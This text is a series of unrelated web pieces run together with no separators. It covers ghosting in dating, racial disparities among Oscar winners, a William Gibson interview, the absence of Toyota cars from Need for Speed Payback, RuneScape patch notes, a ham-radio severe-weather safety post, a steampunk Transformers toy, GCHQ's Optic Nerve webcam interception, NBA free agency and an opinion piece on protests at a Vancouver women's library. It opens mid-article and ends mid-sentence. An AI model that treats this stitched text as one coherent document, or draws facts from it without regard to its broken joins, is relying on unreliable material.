Levkoff advises throwing the idea that that type of conversation is "off-limits" out the window. "I don't believe there are any rules when it comes to love and sex and relationships. I think if there’s something you want, you should be upfront about it. I don't think game playing makes sense at all, and if someone doesn't respond well to directness, then they weren't the right person anyway," she said.
And if your potentials keep disappearing, take a step back and look in the mirror (unless of course, you are the ghost, in which case, owning a mirror would be quite silly). Ask yourself these questions: "Is there something with the people you're meeting? What do they have in common? What are you looking for that's causing the same outcome over and over again?," Levkoff said.
Behrendt adds a few more warning signs to watch out for: "Look at where he wanted to meet you, look at what his plans were, look at how difficult he was to get in touch with."
And if you're unhappy with the answers to those prompts, rest easy knowing that even the most notorious ghosts will change their stripes when the right person comes along. Right, Casper?
*Name has been changed
The HuffPost/YouGov poll was conducted Oct. 23-26 among 1,000 U.S. adults using a sample selected from YouGov's opt-in online panel to match the demographics and other characteristics of the adult U.S. population. Factors considered include age, race, gender, education, employment, income, marital status, number of children, voter registration, time and location of Internet access, interest in politics, religion and church attendance.
Hover over the slices to view the actor’s profile
Fact 1: The Lost Oscar
In 1940, Hattie McDaniel became the first black person to win an Oscar for her role as a maid (“Mammy”) in Gone with the Wind. Just months earlier, Jim Crow laws had barred her and other black actors from attending the movie’s premiere at Loew’s Grand Theater in Atlanta, Georgia. While accepting her award for Best Supporting Actress, Hattie thanked the academy members and barely able to hold back her tears, added,
“I sincerely hope I shall always be a credit to my race and to the motion picture industry. My heart is too full to tell you just how I feel, and may I say thank you and God bless you.” [1]
She then walked all the way to the back of the banquet hall to a small round table that she shared with her escort, Ferdinand Yober, segregated from the rest of the white guests and the Gone with the Wind cast. [2]
Six decades later, no one knows for sure where Hattie McDaniel’s Oscar is. Though she bequeathed it to Howard University in her will, and the Oscar was indeed displayed there momentarily during the 1960s, its current whereabouts is a mystery. One popular opinion is that it was stolen by an angry mob during the 1968 civil rights unrest and tossed into the Potomac River as an act of protest. [5] On March 18, 2011, an eBay auction listed an “Extremely Rare and Authentic Academy Award Statue” with remarkable resemblance to the original Oscar plaque that Hattie had won.[6] A more sensible theory is that the Oscar was returned to Howard University’s Pollock Collection during the 1970s–but no one knows for sure. [7]
Fact 2: #OscarsSoWhite
It would be another 24 years before Sidney Poitier became the next black actor to win an Oscar for acting in 1963. It would take another 27 years after that for another black woman, Whoopi Goldberg, to win an award for her role in Ghost.
So how diverse has the Oscars been for actors historically and what progress has been made in recent decades?
To find out, we looked at winners for all acting categories–Best Actor in a Leading Role, Best Actor in a Supporting Role, Best Actress in a Leading Role, and Best Actress in a Supporting Role (some earlier years had honorary or special awards for acting as well). As the chart above shows, wins for minorities were far and few between until the early 1980s, where we began to see consistent wins by actors of color.
To analyze the period between 1980 until now, we created an interactive “Oscar Winners” data visualization that allows you to explore each winner, their roles and the aggregate percentage of the total of each race. (See data visualization at the top of the page)
For the men’s categories, white actors won 84% of the awards, followed by black actors at 10%. Hispanic actors and asian actors tied at 3% each. For the women’s categories, white actresses won 89% of the awards, followed by black actresses at 9% and hispanic actresses at 3%. There have been no Native American winners and historically, only two Native American actors have even been nominated for Best Actor in a Supporting Role–Chief Dan George for his role in Little Big Man and Graham Greene for his role in Dances with Wolves.
Embed this infographic with the code below
<img src="https://venngage.com/wp-content/uploads/2016/02/OSCAR-RACE-FINAL-1024x1024.png" alt="[INFOGRAPHIC] Oscar Winners by Race"/><a href="https://venngage.com/blog/oscar-racism-interactive-infographic">[Infographic] Oscar Winners by Race </a> by Venngage.
Not surprisingly, when compared to the racial breakdown of the US population (census 2010), the number of white actors winning Oscars showed a disproportionate overrepresentation. Black actors were underrepresented, though not nearly so much so as hispanic actors. Hispanics make up around 16% of the US population but represented only 3% of Oscar winners.
The discrepancies were even more noticeable when we look at the percentages by gender. Women of color fared a lot worse than their male counterparts. White women ruled the Oscars, winning almost nine of out 10 times since the 1980s. Again, this isn’t surprising. When was the last time you saw a woman of color headlining a movie?
Fact 3: Winning Roles are Mainly Stereotypes
When Hattie McDaniel won the first black Oscar for playing a maid in Gone with the Wind, the response from her community was divided. Her friend and fellow actor, Clarence Muse, discouraged blacks from seeing Gone with the Wind. [8]
The NAACP and Howard University also objected to the movie, which was based on a book that criticized the Civil War and opponents of slavery, while casting the KKK as saviors of the white race. McDaniel’s character, Mammy, was a common stereotype perpetuated by Hollywood where “respectable black women had to serve white families loyally as domestics, with little reference to their own families, and were often cast as asexual, unattractive, and plump.” [9] Winning the Oscar typecast McDaniel into the Mammy role–she went on to play a maid in many other movies.
The “Mammy” stereotype is just one of the many racial stereotypes in film and television. A very brief overview of common racial stereotypes in movies with example roles:
Are racial stereotypes common in Oscar winning roles? Certainly this was true in the early years of the Oscars, as McDaniel’s “Mammy” role exemplified. But how about in recent decades–from 1980 to today?
To dig deeper into stereotypes we analyzed each non-white Oscar winner’s role since 1980 and categorized them into three types–Stereotype, No Stereotype and Famous Person. The “Stereotype” category meant we thought the role fit into one of the common racial stereotypes. The “No Stereotype” category meant the role didn’t fit into a stereotype. We also added a “Famous Person” category, as many of these roles were depictions of real famous figures. We used the common racial stereotypes mentioned above as a framework for our analysis.
We found out that more than half (55%) of the roles could be considered racial stereotypes. Only a quarter of the roles did not fit into a stereotype. The remaining were roles depicting real famous people. Among the stereotypical roles, we further broke them down to see which types of roles were the most common among Oscar winning roles.
There were no clear outliers here but female stereotypes (Mammy, Sapphire/Jezebel) were the most common.
It is important to acknowledge that the categorization of role types is, to a certain extent, a subjective judgement call. The complete breakdown of stereotypical roles is in the table below:
Fact 4: Minority Lead Actors Have to Play Famous People
When we looked at Oscar winners in the Best Actor/Actress in a Leading Role categories by race, we saw an even more disproportionate picture. Oscar winners for leading roles were 93% white, 6% were black and 1% asian. There were no hispanic or Native American winners at all.
In fact, there are only five persons of color who have won Best Actor/Actress in a Leading Role since 1980. Four of them are men–Forest Whitaker (as Idi Amin in The Last King of Scotland), Jamie Foxx (as Ray Charles in Ray), Denzel Washington (as Alonzo in Training Day), and Ben Kingsley (as Gandhi in Gandhi)–and only one of them is a woman, Halle Berry (as Leticia in Monster’s Ball).
Three of the winners played famous figures (Idi Amin, Ray Charles and Gandhi). The other two were roles of racial stereotypes. Clearly, if you want to win an Oscar in a lead role as a minority, you should play a role of a famous person. Marc Bernardin, in a piece about racism in Hollywood, recently quipped, “The awards-targeted films today that get a minority protagonist tend to be about the most amazing person of that race who’s ever lived.”
There is some truth in that–Gandhi was one of the world’s most amazing leaders, and Ray Charles is a legend in the music world. Idi Amin was a notorious dictator so his role did not fit into this stereotype but one could argue that the real protagonist in the Last King of Scotland is actually the Scottish doctor played by James McAvoy (the story was told in his point of view).
Contrast these roles featuring exceptional people of color with the overwhelming number of roles featuring average white people becoming unexpectedly extraordinary (especially in the action/adventure genres) and the imbalance becomes more pronounced.
Fact 5: Main Protagonists are Overwhelmingly White
Since there have been so few minority actors in leading roles, another way to look at racial prejudice is to analyze the movies where minorities have won for Best Actor/Actress in a Supporting Role. Who was the main protagonist? What was the main story about?
Ten out of 14 of the minority actors who have won Best Actor/Actress in a Supporting Role were in roles supporting white protagonist(s) (many of which fit the bill for the “white savior” stereotype).
An example of this is Denzel Washington’s win for his supporting role in Glory, wherein the main protagonist was played by Matthew Broderick, a white colonel who led a black regimen during the Civil War. Or take Cuba Gooding, Jr’s supporting role in Jerry Maguire, which featured Tom Cruise as a dynamic agent who has an epiphany and changes his way of life (while Gooding’s role remains much more one-dimensional). Or take Penélope Cruz’s win for her supporting role in Vicky Cristina Barcelona, with Cruz’s character acting as a catalyst in Scarlett Johansson’s story of self-discovery.
Fact 6: Hollywood Studios are Old White Boys Clubs
How do you account for the imbalance between the representation of white actors and actors of color in the Academy Awards, particularly in 2015 and 2016?
Last year, in an interview on Good Morning America, Spike Lee drew attention to a larger systemic lack of diversity within the film industry: “It goes further than the Academy Awards. It has to go back to the gatekeepers….We’re not in the room. The executives, when they have these green-light meetings quarterly, where they look at the scripts and they decide what we’re making and what we’re not making.”
This comment came after his announcement that he would not be attending the Academy Awards that year as an act of protest.
A couple of studies have dug into the wider systemic factors that contribute to a lack of diverse representation not just at award shows, but in mainstream film in general. Their findings show a significant lack of diversity from the beginning of a movie’s production.
According to a 2015 Hollywood Diversity Report done at the Ralph J. Bunche Center for African American Studies at UCLA, the majority of film executives are, on all accounts, white. Of the 6,000 or so Academy voting members, 94% were are white and 100% were male. Film studio senior management were 92% white and 83% were male. And film studio unit heads were 96% white and 61% male. These are the people deciding which scripts to green-light, which films to fund and who to cast; this implies one dominant set of perspectives and, in turn, connotes a bias.
film executive positionsInfographic
According to a study done by University of Southern California, only seven out of the 107 directors attached to the top 100 grossing films of 2013 were black (two of which were repeats, meaning there were only five unique black directors). There were no black woman directors in the top 100 grossing films in 2013. The study also found that films with white directors were responsible for casting black characters in only 10.8% of all speaking roles, while black directors cast black characters in 46% of all of speaking roles. This suggests that there is a correlation between the ethnic background of a director and the ethnic backgrounds of the actors cast in their films.
speaking roles by ethnic backgroundInfographic
Despite the majority of film executives and directors being white (and male), the UCLA report notes that while only 11% of American and Canadian populations are frequent moviegoers, 51% of movie ticket buyers in America and Canada are ethnic minorities.
That there is still such a diversity gap not just in the case of actors recognized at awards shows, but also on the production and executive side of the industry, points to a greater systemic lack of representation.
How many Oscars are lost?
Hattie McDaniel’s Oscar isn’t the only one that’s missing.
Last year, the failure to nominate Idris Elba for his role in Beasts of No Nation was met with collective disbelief. The same went for Abraham Attah’s role in the same movie, Karidja Touré’s role in Girlhood, Oscar Isaac’s role in Ex Machina, John Boyega’s role in Star Wars: The Force Awakens, Ryan Coogler’s role in Creed, and Jason Mitchell’s role in Straight Outta Compton.
This year, greater effort has been put into more diverse representation at the Oscars.
In response to the #OscarsSoWhite controversy last year, Cheryl Boone announced this week that she has invited 638 new members to the Academy. Of the new additions, 46% were women and 41% were women of color–an improvement on the 75% male and 92% white membership prior.
This would bring the percentage of male Academy members down to 73% and the number of white Academy members down to 89%.
The list of nominations this year is also much more diverse compared to last year: of the 20 actors nominated for award, seven are people of color. This is largely due to the nomination of movies like Hidden Figures, Fences, Moonlight and Loving, which tell stories focusing on people of color.
But there is still plenty of room for more diversity.
According to a USC Annenberg annual report on diversity in the film industry, women still hold only 28.7% of all speaking roles in film, and people in underrepresented racial groups hold only 26.7% of speaking parts in movies.
Still, steps are being taken. If this momentum is kept up, imagine what the Oscars could look like in 2027.
References
Hattie McDaniel winning Best Supporting Actress. YouTube https://www.youtube.com/watch?v=e7t4pTNZshA Finding the Oscar. 55 Howard Law Journal 107-171 (2011) . pp 115-116 Finding the Oscar. 55 Howard Law Journal 107-171 (2011) . pp 113 Wikipedia. https://en.wikipedia.org/wiki/Hattie_McDaniel Tom Gregory, Oscar time for Hattie McDaniel, Huffington Post (5/23/2011) http://www.huffingtonpost.com/tom-gregory/oscar-time-for-hattie-mcd_b_60228.html See http://www.worthpoint.com/worthopedia/exceedingly-authentic-academy-award-137828383 Finding the Oscar. 55 Howard Law Journal 107-171 (2011). pp 163 Finding the Oscar. 55 Howard Law Journal 107-171 (2011). pp 119 Finding the Oscar. 55 Howard Law Journal 107-171 (2011). pp 113 The data used in all the data visualization can be found at https://github.com/Venngage/02-2016-Oscars-Race
William Gibson is also my favorite author and, while my love for his work obviously clouds my judgement, I feel he gave voice to a generation that grew up with Atari 2600s and ended up with iPhones. His vision, his spare prose, and his sly humor have helped define many writing styles (my own included) and, although he is often imitated, I haven’t found another writer like him.
His latest book, The Peripheral, isn’t part of a trilogy but it is a tour-de-force. Set in a future where 3D printing has gone mainstream and in a future where 3D disassembly is the weapon of choice for a moneyed kleptocracy, the book flips from the future to further into the future with an ease that is startling.
I had the rare pleasure of sitting down with Gibson at our offices in New York where we talked about the changes happening to the concept of cyberspace and his own inspirations for the worlds he creates. If there is any news of lasting import here it’s that The Peripheral will not be part of a trilogy – something sure to disappoint fans of the book – but the real value is the time Gibson spends talking about his view on the world and our place in it. In other words, squeeeee.
What at first seemed like an odd one-off instance has claimed another victim. Earlier this summer we learned Forza Motorsport 7 wouldn’t feature production Toyota cars. Now, a Ghost Games employee has confirmed on Reddit that Need for Speed Payback will be in the same boat when it launches in November. The full statement is below:
“We know the subject of Toyota is on a lot of minds over the last few weeks. As many of you here suspect, there will be no Toyota cars in Need for Speed Payback. While we’re as disappointed as you are, we do hope that we’ll once again see Toyota back in Need for Speed in the future.”
For reference, 2015’s Need for Speed featured three cars from the Japanese company. The AE86 Sprinter Trueno and fourth-gen Supra are both some of the most iconic vehicles in the company’s history. The third model was the GT86: at least it can live on in a way, as the Subaru BRZ. Thankfully, gamers have already spotted that car in gameplay footage. The others have no true replacements.
In both FM7‘s and NFSP‘s cases, there’s been no clear reason as to why Toyota’s road cars will be absent. The official statements from Turn 10 and Ghost Games read the same, and when we asked Toyota about it, we were told to ask Microsoft.
Need for Speed Payback launches — sans Toyota — November 10.
Read on for full details!
Shattered Worlds Anima Rebalancing
We’ve heard your feedback and the anima rates from Shattered Worlds have been increased significantly. Worlds 71 and above now reward 29m-37m+ of anima per hour, depending on your own personal combat capacities and the other random factors in Shattered Worlds.
The amount awarded for completing the challenges has also increased:
Bronze - 250,000
Silver - 1,000,000
Gold - 7,500,000
We’ve also adjusted the price of the huge Slayer lamps from the Shattered Worlds reward shop to 6m, to account for the new and improved anima rates.
Patch Notes
The Ninjas are bringing a shed load of improvements in this week’s Patch Notes, including adjustments to Livid Farm and some more updates for F2P players. Check out some of the highlights below.
Free to Play:
F2P players can now receive and equip off-hand drops from bosses within Dungeoneering.
P2P off-hand equipment from bronze to rune that isn't otherwise locked behind membership can now be equipped by F2P players.
P2P main-hand claws, darts and throwing axes from bronze to rune can now be equipped by F2P players, who can now also smith steel studs.
Livid Farm:
The rune cost of the repair pouch spell was reduced to 1 Astral, 1 Cosmic and 1 Law rune from 2 Astral, 1 Cosmic and 1 Law rune.
The XP rates across the various activities were increased by 50%.
Bundled produce, logs and planks are now stackable in the player’s inventory.
Random events will now award the player produce points instead of runes upon completion.
See the full Patch Notes for further details of today's updates.
Have Fun!
Enjoy those increased anima gains and make your Shattered Worlds experience even more rewarding.
Hop on and we’ll see you in game!
The RuneScape Team
In Other News
Mod Joe's looking for feedback on a proposed update to Treasure Trails – for all your emote-based clue scroll needs.
If you haven’t yet, check out the dev blog that went out on Friday, vote in the poll in game, and let us know your thoughts.
Live Streams this Week
Each week we livestream Q&As, in-game events and more. Watch our streams and find a full streaming schedule over on our Twitch channel.
Check our YouTube channel, too, for recap videos of streams you may have missed and many other videos about RuneScape and future updates. Watch now!
Tuesday, August 22nd | 16:00 Game Time | RuneScape Developer Q&A
We’ve got some cool updates to discuss with you guys, but we’ll also be there to answer any questions you might have. Join us to take part in the discussion!
Sunday, August 27th| 19:00 Game Time | PvM with Mod Lee!
Facebook Question of the Week:
Are You Going To Hamvention next weekend?
Tech Corner – Are You Weather Aware?
On April 29, 2017, about 100 miles east of me had about 4 tornados touch down. At least one of them went through a fairly decent sized city of about 3600 people called Canton. As of the time of me writing this there is 4 confirmed dead and dozens injured and a massive clean up.
One of the tornadoes was on the ground for nearly 2 hours and covered a distance of about 51 miles!! Several years ago my wife and I were actually looking to move up in that area, I’m glad now that we didn’t.
For the days leading up to this, there was talk with the weather service and the meteorologists in the area saying that we were in for some severe storms, but the threat of Tornadoes was low. They also said that the storms would start up farther west than what they did to. We were actually gearing up at my work and at my home for the potential of storms. Fortunately for us, the storms didn’t fire up over us, but about 40 miles east of us.
This whole event leads me to ask myself and yall, Are You Weather Aware?
Pay Attention to the Sky
Even though we have all the fancy technology like TVs, smart phones, computers, etc that we can look at a radar with, you can’t always take what you see on radar as accurate. You have to remember the way that a radar works to realize that the farther from the radar station you are looking, the less accurate it is.
Think of a radar as a laser beam shooting out in a direction. Even if you are perfectly level with the ground when you shoot that laser beam, the farther away from you that it gets, the higher off the ground it is going to be because of the curvature of the Earth. Now add to that that radars typically have like a 5 degree take off angel(I believe), that that makes it even higher above the ground the farther it goes out.
After about 5 miles from the radar site, a radar can’t see any low level activity. That is why the National Weather Service needs spotters to be spotters. If I remember correctly at 5 miles the radar beam is at like 10,000 feet.
This is why you should be able to look at the clouds and see what could potentially become of the storm. Look for the anvils, the striations, the wall clouds and such. This is why taking a Skywarn class is so important whether you plan on helping your local Skywarn team or not.
Heat
Weather can be a very dangerous thing, as I’m sure that most of you are aware. According to the National Weather Service, the weather that caused the most fatalities is Heat! I wouldn’t really think that heat would be the number one, but as you think about it, the last few years have been incredible hot! In the northern US over the past few years they have had record heat with temperatures in the 100’s during the summer. Down here in Texas, we are more prepared for the 100 degree temperatures, but in the north, not everyone will have an air conditioner or other ways to stay cool.
I also know that over the past few years, I have heard of the power grid being overloaded, especially in the north, which causes your A/C not to work and therefore getting hotter inside and out. So I can see how it is the number one killer on average over the past ten years!
Supercell Thunderstorm
In the picture above, you will see a beautiful picture of a Supercell Thunderstorm. You can see the high tower, the dark ominous look of the clouds, and what is called the rain free base at the bottom left with the rain shaft at the right.
If you see this type of cloud coming you way, you can pretty much bet that you are going to be in for a good storm. The more defined the cloud shaft is, especially if you can see a barber pole look streaks on the tower, then you better be watching for other signs of a tornado as well. The barber pole look formation on the outside of the cloud, means that there is upper level rotation. You need to be looking for a wall cloud, which is a lowering in the cloud base that is trapezoidal in shape with the wider end on the rain side.
If you see a wall cloud, then you need to look for any rotation indicators in the wall cloud part itself, because if you do, I’d wager to bet that there is going to be a funnel forming soon and once it reaches the ground you have a full blown tornado on your hands.
Tornados
The number two killer is Tornados! As I mentioned early back on April 29, 2017, there was a spawn of multiple tornados that Van Zandt county in East Texas. One of the tornadoes that hit was rated at an EF-4 and it pretty much hit the town of Canton head on. There was massive damage, 4 people killed(last I heard) and injured around 50. Of course after the first couple days after the storms, it no longer makes the news so I don’t know if there was more than that or not.
According to the NWS, there was 110 people killed in tornadoes over the past 10 years! Which if you think about it, is quite astounding being that tornadoes only typically happen during the months of April through June. Add to that there isn’t a whole lot of warning when it comes to tornadoes. Yes, technology has gotten better over the past ten years, and RADARs can see rotation now and have gotten better, but still, there is typically no more than 5-10 minutes of warning before it happens.
Flash Floods
The third highest weather killer is Flash Floods with 84 people being killed on average over the past ten years! A flash flood is a very powerful thing. Here in Texas there is a massive awareness campaign that has been going on over the past 5-6 years called, Turn Around, Don’t Drown. I’m sure that it has caught on elsewhere as well.
It doesn’t take much rushing water to knock you off your feet, in fact only about 3-4” of water can knock you off your feet and sweep you down river/stream. It only takes about two feet of water to move a car! Once you loose the traction, you will probably never regain it.
The thing is flash floods, is the flash part of it. It can happen in a matter of seconds. One second the roadway or path could be clear, the next it is under two feet of water. The water will erode the ground under a road and the footing under bridges and make them collapse.
Straight Line Winds
While the circulating winds of a tornado is a contributing factor to it being the number two weather killer, straight lines winds come in fourth place with an average of 56 over the past ten years. Many times people will think that damage is done by a tornado when in fact it was caused by straight line winds.
As you can see from this picture, all the trees are laying the same way for the most part and all of them are just laid over. None of the trees are twisted in any way. If this was a tornado that caused all this damage, you would see twisted trees and you would see trees falling in all different directions.
Lightning
I love sitting and watching the lightning dance across the sky on a nice spring/summer storm. It amazes me the sheer power of friction. Back in episode 56 where we talked about Lightning Protection, we talked about how lightning and thunder is formed and it just amazed me. I always knew that a static charge built up because of ice particles colliding together is what caused the lightning and I knew that Thunder was a byproduct of this, but I was never really told the whole story about it. Here is an excerpt from that episode:
The conditions necessary for an old-fashioned summer afternoon thunderstorm are lots of moist air from ground level to a few thousand feet, cooler air above with little to no wind, and plenty of sun to heat the air mass near the ground. As the warm, moist air is heated, it rises quickly to heights where the temperature is below freezing, eventually forming a thundercloud as shown in Figure 1. Within the thundercloud, the constant collisions among ice particles driven by the rising air causes a static charge to build up. Eventually the static charge becomes sufficiently large to cause the electrical breakdown of the air—a lightning strike When a lightning strike does occur, the return stroke rapidly deposits several large pulses of energy along the leader channel. That channel is heated by the energy to above 50,000º F in only a microsecond and hence has no time to expand while it is being heated, creating extremely high pressure. The high pressure channel rapidly expands into the surrounding air and compresses it. This disturbance of the air propagates outward in all directions. For the first 10 yards or so it propagates as a shock wave (faster than the speed of sound) and after that as an ordinary sound wave—the thunder we hear. Excerpt From Ep 56 – Lighting Protection
Hail
While hail has been known to cause some injuries and a very large amount of property damage, there hasn’t been very many reports of a hail strike being the cause of death of some very unlucky person. Hail is, however, common in spring and summer storms and is responsible for billions of dollars worth of damages over the past 5-10 years.
In case you don’t know how a hailstone is formed or how they could get so big, I’m going to tell you now. First off, rain drops start falling from the cloud, when a raindrop collides with the updraft of a storm, if that updraft is strong enough, it will blow the raindrop back up into the clouds and into the colder air, air that is below freezing. The raindrop freeze and falls back down to earth and starts to thaw or gathers some more moisture from the storm. When it comes into contact with the updraft again, if it is strong enough, the updraft again blows it back up into the cloud and the ice particle refreezes, this time with more moisture.
This cycle continues until either what is now a hailstone, is either blow away from the updraft or is to heavy for the updraft to blow back up. So the stronger the updraft is, the more this cycle repeats itself and the bigger the hailstone gets. So when you see pictures of baseball or softball or bigger size hailstones, you can only imagine how strong the updraft of the storm was that produced it.
Mammatus Clouds
In the above picture, you will see what is called Mammatus Clouds. These cloud are typically found on the bottom of the anvil of a storm and are a very good indicator of an impending very strong thunderstorm. There are many theories as to how this type of formation in the clouds form, but no one theory is correct all the time, so no one really knows for certain why this type of cloud formations form, but I will say that they are really neat to look at.
If you would like to read about some of the different theories as to how this type of formation is formed, check out the Wikipedia page for Mammatus Clouds.
Emergency Kit
I am not talking about a radio “go kit” here, I’m talking about things that you should have for your family in case your house gets hit by a tornado or other weather event that makes it not livable.
First thing you need to think about is the basic necessities like food and water. Let’s say that you are in your basement or storm shelter and your house collapses on top of you and you can’t get out. You and your family will need something to eat and drink right? I would plan on at least two days worth of food and water. My wife and I found a bucket of dehydrated camping food packets where all your have to do is add water. The bucket had 48 packets in it and it only cost us like $50 or so. The water part is a whole lot easier to find, just get you several gallons of drinking water.
Another thing you need to have in your kit is a first aid kit. It doesn’t have to be an elaborate one, just a basic one will probably work just fine. Things like band aids, antibiotic ointment, bandages, alcohol wipes, things like that.
Some other things you should have are things like a flashlight, lighter, extra batteries, a weather radio, and maybe even a extra set of clothes for each person. You don’t know when a storm will hit, if it’s in the middle of the night, you might only be in your pajamas or less.
Emergency plan
When something happens like a tornado, you often don’t have a lot of warning. It’s a good idea to practice doing an evacuation or bad weather drill regularly. If you have a basement or an outside storm shelter this is especially a good idea because when it is happens for real, there is probably going to be controlled chaos.
Practicing getting your family where they are suppose to go will make it more of a muscle memory when an actual emergency happens. Remember practice makes perfect! It is the same thing with a fire drill. The more you do it, the better you and your family will get at doing it.
Plan on what each person will get and where everyone will go or meet. If you have a storm shelter or basement, plan how to each person will get there. If you have small children that will need help, plan who will make sure they get their safe.
Once you have everything planned out, it is time to practice, practice, practice. Practice with you kids a couple times to make sure they know what to do, where to go and to not panic. For the first month or so, practice once a week or so, then drop it down to once a month or so.
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West Mountain Radio
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Ham Blog Spotlight
W5KUB Again to Offer Next Best Thing to Being at Hamvention
Tom Medlin, W5KUB, of Amateur Radio Roundtable webcast fame, will offer more than 48 hours of live webcasting for Hamvention®, starting on May 17 and continuing through May 22 (to include the road trips out and back). This will mark his 15th year of live streaming the show, and this year’s webcast will be called “Hamvention 2017 Marathon by Medlin.” Astronaut Douglas Wheelock, KF5BOC, will join Medlin as co-host.
“This live event is structured to make you feel that you are there.” Webcast viewers will be able to communicate with other viewers logged into the chat room and can even chat directly with the webcast team at Hamvention. Medlin also promises nonstop prize giveaways. “You will see many familiar people and celebrities drop by and get on camera and say hello to you,” Medlin said.
Over the course of his Hamvention webcasts, he interviews visitors and offers a view of the show from his particular perch, which will be in booth 5006 at the Greene County Fairgrounds and Expo Center in Xenia, Ohio.
Upcoming Events
*Information taken from the WA7BNM Contest Calendar
Hamfests
*Information taken from the ARRL Hamfest Calendar
Thanks for stopping by today. If you like what you have heard on my podcast or read on my blog and would like to know how you can give your support, check out the Support page! You can make a one time donation through Paypal, become a monthly contributor through Patreon or shop on Amazon through my affiliate link. Â
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Until next time…
73 de Curtis, K5CLM
Creator and Owner of Everything Ham Radio Owner of 2xC Products at 2xcproducts.com http://www.everythinghamradio.com
By Andrew Liszewski
I’ve had more than my fill of the ‘steampunk’ trend, but I don’t feel guilty about posting yet another SP creation when it’s as impressive as this custom Optimus Prime figure. I guess if the Transformers had reached Earth before the time of the automobile they would have had to make do with the available transportation at the time, in this case, a steam locomotive. But, it doesn’t make Optimus look any less badass, that’s for sure.
The figure was created by Encline Designs and is fully transformable from robot to locomotive form. There’s even his trademark disappearing trailer complete with an old-timey cannon inside, and thanks to a set of LEDs, the lamps and boiler on his chest all glow as if they were burning away. Now where’s the Megatron six-shooter to go with it?
British spy agency GCHQ intercepted webcam images from millions of Yahoo users around the world, according to a report in the Guardian.
Yahoo denied prior knowledge of the alleged programme, describing it as a "completely unacceptable" privacy violation.
According to leaked documents, sexually explicit images were among those gathered - although not intentionally.
In a statement GCHQ has said all of its actions are in accordance with the law.
The operation, which was called Optic Nerve and was aided by the US National Security Agency, is alleged to have stored images between 2008 and 2010. In one six-month period in 2008, images from 1.8m users were gathered.
The report originated from documents leaked by whistleblower Edward Snowden.
It suggested that sexually explicit content would be captured by the system.
"Unfortunately … it would appear that a surprising number of people use webcam conversations to show intimate parts of their body to the other person," it read.
"Also, the fact that the Yahoo software allows more than one person to view a webcam stream without necessarily sending a reciprocal stream means that it appears sometimes to be used for broadcasting pornography."
'Whole new level'
"We were not aware of nor would we condone this reported activity," Yahoo said in an emailed statement.
"This report, if true, represents a whole new level of violation of our users' privacy that is completely unacceptable and we strongly call on the world's governments to reform surveillance law consistent with the principles we outlined in December.
"We are committed to preserving our users' trust and security and continue our efforts to expand encryption across all of our services."
A statement from GCHQ said it would not comment on matters of intelligence, but added: "All of GCHQ's work is carried out in accordance with a strict legal and policy framework which ensures that our activities are authorised, necessary and proportionate, and that there is rigorous oversight, including from the secretary of state, the interception and intelligence services commissioners and the Parliamentary Intelligence and Security Committee.
The San Antonio Spurs were due to get the first crack at Andre Iguodala just after midnight ET Friday when the NBA's free-agency period opened, league sources said.
The meeting was to take place in Los Angeles, sources said.
The Houston Rockets also have secured a meeting with Iguodala, league sources said.
Teams began talking to free agents at 12:01 a.m. ET Saturday, but no deals can be officially signed until Thursday.
The Spurs feel as if they have a legitimate shot at luring the Golden State Warriors' prized sixth man away from the San Francisco Bay Area, sources said. Iguodala is open to relocating under the right parameters, according to sources.
Iguodala doesn't yet have plans to meet with the Warriors, sources said earlier.
The Warriors are expected to target free-agent forward Rudy Gay if Iguodala lands elsewhere, sources told ESPN's Adrian Wojnarowski.
Iguodala also will meet with the Sacramento Kings, sources said. The Kings are trying to acquire solid veterans to play with their stable of young talent.
The 33-year-old Iguodala, the 2015 NBA Finals MVP, has been a terrific two-way player since being acquired by the Warriors via trade in 2013.
Despite just one start over the past three regular seasons, he has posted averages of 7.4 points, 3.7 rebounds and 1.1 steals in 26.6 minutes per game. The 6-foot-6 swingman was a finalist in 2016-17 for NBA Sixth Man of the Year, finishing second behind Eric Gordon of the Rockets.
Iguodala holds career averages of 13.0 points, 5.3 rebounds, 4.5 assists and 1.6 steals per game since breaking into the league as the ninth overall pick of the Philadelphia 76ers in the 2004 draft.
Guerrilla Feminist Collective reports the following intimidation tactics used at the library:
“Last night we had to push through physical intimidation and lots of verbal nonsense to enter the new Vancouver Women’s Library. Anti-feminist protesters actually showed up for once! They were welcomed inside (snowing, cold, everyone was welcome), but asked to leave when they tried to tear down feminist posters in the space and continued their physical intimidation inside. Police had to be called for fear of destruction of the space and the safety of library patrons inside. The protesters held signs and shouted at people entering the space. They poured wine over the books. They smoked inside when asked not to. They pulled the fire alarm. Some of them tried to bar then pushed women entering the space. As far as we saw, men were left alone to come and go as they pleased. Women were shamed and blamed for calling the police, for fearing for theirs and others’ safety. Damned if you do, damned if you don’t. All battered women will be familiar with these tactics. When we pointed out how we were physically barred then pushed from entering the space, and how threatening that felt, protesters wanted to know how we’d gender the person, rather than discuss the ethics of violence at hand. Despite clearly stated goals (creation of women’s space for women’s work and dialogue), inclusion (all women), transparency of funding (self & UBC women’s centre), hard work (unpaid), and initiative (frankly brilliant caring GOODNESS of heart, seeking to create A WOMEN’S LIBRARY) the organizers were demonized, targeted, lied about, and all but burnt at the stake. Ridiculous demands were made, such as the stepping down of founding member Emily (for having volunteered at and supporting a shelter for women fleeing male violence), creation of a board of directors (must everything be Mc-incorporated?), and the removal of certain books (fascism 101).”
The group Gays Against Gentrification (GAG) released a list of demands for the library on Facebook. I’m not sure if the people who showed up at the library are the same people who wrote this list of demands, but they certainly are using similar intimidation tactics.
The group GAG uses the slurs “TERF” and “SWERF” to intimidate and silence women who speak out about the harms of gender and the sex trade. The function of these words is to shut down conversations about women’s oppression. They can be applied to absolutely anyone who disagrees with the queer/liberal party line. Even women with direct experience in the sex trade can be called “SWERF,” despite the fact that it makes no sense that a woman could be “excluding” herself from her own analysis of the harms of the sex industry that she experienced.
GAG erroneously accuses feminists of denying health care and jobs to trans women and of trying to control the bodies of “sex workers” and enacting violence upon them. It is difficult to believe that anyone could be so far removed from reality that they actually think that feminists are the ones harming women in the sex trade rather than the johns and pimps who are actually inflicting the violence. Those people who seek to make male violence invisible and blame women instead for what men do to us can only be called MRAs.
GAG made a list of demands that includes, among other things, that the library must elect a board of directors that GAG members approve of, remove any books from the library that GAG does not approve of, and fire one of the organizers of the library who is specified by name. It’s just astounding that this group feels so entitled to women’s labor that they feel they can dictate to women how to run their own library. This is a vile display of misogyny and anti-feminism.
Their wording gets so over-the-top at times it almost looks like a parody:
